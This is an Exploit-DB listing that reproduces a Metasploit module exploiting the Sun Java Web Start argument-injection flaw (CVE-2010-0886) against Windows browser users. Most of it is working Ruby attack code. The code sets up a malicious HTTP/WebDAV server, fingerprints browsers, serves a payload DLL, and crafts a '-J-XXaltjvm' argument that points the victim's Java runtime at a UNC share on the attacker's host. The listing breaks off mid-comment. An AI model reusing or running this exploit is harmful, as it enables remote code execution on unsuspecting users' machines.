Exploit-DB #16585
Description: Sun Java - Web Start Plugin Command Line Argument Injection (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-21
Author: Metasploit

Exploit:
##
# $Id: java_ws_arginject_altjvm.rb 10404 2010-09-21 00:13:30Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Sun Java Web Start Plugin Command Line Argument Injection',
			'Description'    => %q{
					This module exploits a flaw in the Web Start plugin component of Sun Java
				Web Start. The arguments passed to Java Web Start are not properly validated.
				By passing the lesser known -J option, an attacker can pass arbitrary options
				directly to the Java runtime. By utilizing the -XXaltjvm option, as discussed
				by Ruben Santamarta, an attacker can execute arbitrary code in the context of
				an unsuspecting browser user.

				This vulnerability was originally discovered independently by both Ruben
				Santamarta and Tavis Ormandy. Tavis reported that all versions since version
				6 Update 10 "are believed to be affected by this vulnerability."

				In order for this module to work, it must be ran as root on a server that
				does not serve SMB. Additionally, the target host must have the WebClient
				service (WebDAV Mini-Redirector) enabled.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 'jduck',
			'Version'        => '$Revision: 10404 $',
			'References'     =>
				[
					[ 'CVE', '2010-0886' ],
					[ 'OSVDB', '63648' ],
					[ 'BID', '39346' ],
					[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2010-04/0122.html' ],
					[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1' ]
				],
			'Platform'       => 'win',
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => '',
					'DisableNops' => true,
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
				},
			'Targets'        =>
				[
					[ 'Automatic', { } ],
					[ 'Java Runtime on Windows x86',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Apr 09 2010'
			))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
				OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
				OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])
			], self.class)
	end


	def auto_target(cli, request)
		agent = request.headers['User-Agent']

		ret = nil
		#print_status("Agent: #{agent}")
		# Check for MSIE and/or WebDAV redirector requests
		if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
			ret = targets[1]
		elsif agent =~ /MSIE (6|7|8)\.0/
			ret = targets[1]
		else
			print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
		end

		ret
	end


	def on_request_uri(cli, request)

		# For this exploit, this does little besides ensures the user agent is a recognized one..
		mytarget = target
		if target.name == 'Automatic'
			mytarget = auto_target(cli, request)
			if (not mytarget)
				send_not_found(cli)
				return
			end
		end

		# Special case to process OPTIONS for /
		if (request.method == 'OPTIONS' and request.uri == '/')
			process_options(cli, request, mytarget)
			return
		end

		# Discard requests for ico files
		if (request.uri =~ /\.ico$/i)
			send_not_found(cli)
			return
		end

		# If there is no subdirectory in the request, we need to redirect.
		if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
			if (request.uri == '/')
				subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
			else
				subdir = request.uri + '/'
			end
			print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
			send_redirect(cli, subdir)
			return
		else
			share_name = $1
		end

		# dispatch WebDAV requests based on method first
		case request.method
		when 'OPTIONS'
			process_options(cli, request, mytarget)

		when 'PROPFIND'
			process_propfind(cli, request, mytarget)

		when 'GET'
			process_get(cli, request, mytarget, share_name)

		when 'PUT'
			print_status("Sending 404 for PUT #{request.uri} ...")
			send_not_found(cli)

		else
			print_error("Unexpected request method encountered: #{request.method}")

		end

	end

	#
	# GET requests
	#
	def process_get(cli, request, target, share_name)

		print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
		# dispatch based on extension
		if (request.uri =~ /\.dll$/i)
			#
			# DLL requests sent by IE and the WebDav Mini-Redirector
			#
			print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")

			# Re-generate the payload
			return if ((p = regenerate_payload(cli)) == nil)

			# Generate a DLL based on the payload
			dll_data = generate_payload_dll({ :code => p.encoded })

			# Send it :)
			send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })

		else
			#
			# HTML requests sent by IE and Firefox
			#
			my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

			# Always prepare the UNC path, even if we dont use it for this request...
			if (datastore['UNCPATH'])
				unc = datastore['UNCPATH'].dup
			else
				unc = "\\\\" + my_host + "\\" + share_name
			end
			jnlp = "-J-XXaltjvm=" + unc + " -Xnosplash " + rand_text_alphanumeric(8+rand(8)) + ".jnlp"
			docbase = rand_text_alphanumeric(8+rand(8))

			# Provide the correspon